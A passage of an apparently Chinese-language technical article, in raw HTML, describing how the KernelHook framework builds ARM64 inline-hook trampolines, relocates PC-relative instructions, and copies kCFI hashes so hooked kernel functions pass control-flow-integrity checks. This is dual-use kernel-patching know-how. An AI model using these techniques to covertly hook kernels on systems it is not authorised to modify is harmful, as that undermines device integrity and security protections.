initial;text-decoration-color: initial; "><span leaf="">ARM64 上，KernelHook 使用 4 条指令（16 字节）构造跳板：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="287" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">MOV  X16, <a class="wx_topic_link" topic-id="mnx5sygg-0mhjkz" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_low           ; 目标地址低 16 位</span><br/><span leaf="">MOVK X16, <a class="wx_topic_link" topic-id="mnx5sygg-wozrmc" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_mid, LSL <a class="wx_topic_link" topic-id="mnx5sygg-rjh556" style="color: #576B95 !important;" data-topic="1" data-recommend="">#16</a>  ; 中 16 位</span><br/><span leaf="">MOVK X16, <a class="wx_topic_link" topic-id="mnx5sygg-oo5khc" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_high, LSL <a class="wx_topic_link" topic-id="mnx5sygg-lsedrk" style="color: #576B95 !important;" data-topic="1" data-recommend="">#32</a> ; 高 16 位</span><br/><span leaf="">BR   X16                        ; 无条件间接跳转</span></code></pre><p data-line="294" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果目标函数的首条指令是 BTI 或 PAC 指令（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BTI JC</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PACIASP</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PACIBSP</span></code><span leaf="">），跳板扩展为 5 条，首条保留为 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BTI JC</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="296" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">BTI  JC                         ; 保留分支目标标识</span><br/><span leaf="">MOV  X16, <a class="wx_topic_link" topic-id="mnx5sygg-m6ai8w" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_low</span><br/><span leaf="">MOVK X16, <a class="wx_topic_link" topic-id="mnx5sygg-m58q9w" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_mid, LSL <a class="wx_topic_link" topic-id="mnx5sygg-vm18oa" style="color: #576B95 !important;" data-topic="1" data-recommend="">#16</a></span><br/><span leaf="">MOVK X16, <a class="wx_topic_link" topic-id="mnx5sygg-3ndntt" style="color: #576B95 !important;" data-topic="1" data-recommend="">#imm16</a>_high, LSL <a class="wx_topic_link" topic-id="mnx5sygg-9zpe72" style="color: #576B95 !important;" data-topic="1" data-recommend="">#32</a></span><br/><span leaf="">BR   X16</span></code></pre><p data-line="304" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">选择 X16 是因为 ARM64 调用约定将其定义为 IP0（Intra-Procedure-call scratch register）：不被调用者保存，且 BTI 允许 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BR X16</span></code><span leaf=""> 作为合法的间接分支目标。</span></p><h3 data-line="306" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.2 指令重定位</span></h3><p data-line="308" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">被跳板覆盖的原始指令不能简单复制到新地址执行——ARM64 中大量指令使用 PC 相对寻址，复制后偏移量会指向错误位置。</span></p><p data-line="310" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">KernelHook 的指令重定位引擎（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/arch/arm64/inline.c</span></code><span leaf="">）识别并处理 17 种指令类型：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">指令类型</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">寻址方式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">重定位策略</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">B</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 128 MB</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">重算偏移或展开为绝对跳转</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">B.cond</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">反转条件 + 绝对跳转</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BL</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 128 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">绝对跳转 + 手动设置 LR</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ADR</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">替换为 MOV/MOVK 绝对地址序列</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ADRP</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 4 GB (页对齐)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LDR</span></code><p><span leaf=""> (literal)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB (32/64/SIMD)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">转为寄存器间接加载</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LDRSW</span></code><p><span leaf=""> (literal)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同上</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CBZ</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CBNZ</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">反转条件 + 绝对跳转</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TBZ</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TBNZ</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 32 KB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">反转条件 + 绝对跳转</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PRFM</span></code><p><span leaf=""> (literal)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PC +/- 1 MB</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">转为寄存器间接预取</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">其他</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">无 PC 相对寻址</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">直接复制</span></p></td></tr></tbody></table><p data-line="326" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每种类型的重定位产出长度不同（2 ~ 8 条 uint32_t 指令）。引擎预先扫描全部被覆盖指令，计算总输出长度，一次性分配缓冲区，再逐条写入。</span></p><p data-line="328" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">重定位后的代码布局：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="330" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">+--------------------------------------+</span><br/><span leaf="">| BTI JC                               | &lt;- 入口（满足 BTI）</span><br/><span leaf="">+--------------------------------------+</span><br/><span leaf="">| NOP padding                          | &lt;- 对齐填充</span><br/><span leaf="">+--------------------------------------+</span><br/><span leaf="">| 重定位后的指令序列                      | &lt;- 原始指令的等价实现</span><br/><span leaf="">+--------------------------------------+</span><br/><span leaf="">| MOV X16, <a class="wx_topic_link" topic-id="mnx5sygg-1rrlu0" style="color: #576B95 !important;" data-topic="1" data-recommend="">#addr</a>; BR X16              | &lt;- 跳回原函数（跳板之后）</span><br/><span leaf="">+--------------------------------------+</span></code></pre><h3 data-line="342" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.3 kCFI 哈希</span></h3><p data-line="344" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GKI 6.1+ 内核启用了 kCFI（Kernel Control Flow Integrity）：Clang 在每个函数入口前 4 字节写入类型哈希值。间接调用前，编译器检查目标地址 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-4</span></code><span leaf=""> 处的哈希是否匹配，不匹配则 panic。</span></p><p data-line="346" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">KernelHook 将原始函数入口前 4 字节的 kCFI 哈希复制到重定位代码入口前 4 字节（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_relo_cfi_hash</span></code><span leaf=""> 字段）。中转桩入口同样携带正确的哈希值，使 kCFI 检查正常通过。</span></p><p data-line="348" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_chain_rox_t</span></code><span leaf=""> 的内存布局：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="350" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">+---------------------+</span><br/><span leaf="">| _relo_cfi_hash      | &lt;- 复制自原函数的 kCFI 哈希</span><br/><span leaf="">+---------------------+</span><br/><span leaf="">| relo_insts[]        | &lt;- 重定位后的指令序列</span><br/><span leaf="">+---------------------+</span><br/><span leaf="">| hook_t              | &lt;- Hook 状态</span><br/><span leaf="">+---------------------+</span><br/><span leaf="">| rw_ptr              | &lt;- 指向 RW 区域</span><br/><span leaf="">+---------------------+</span><br/><span leaf="">| transit[]           | &lt;- 中转桩（64 字节对齐）</span><br/><span leaf="">+---------------------+</span></code></pre><h2 data-line="366" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 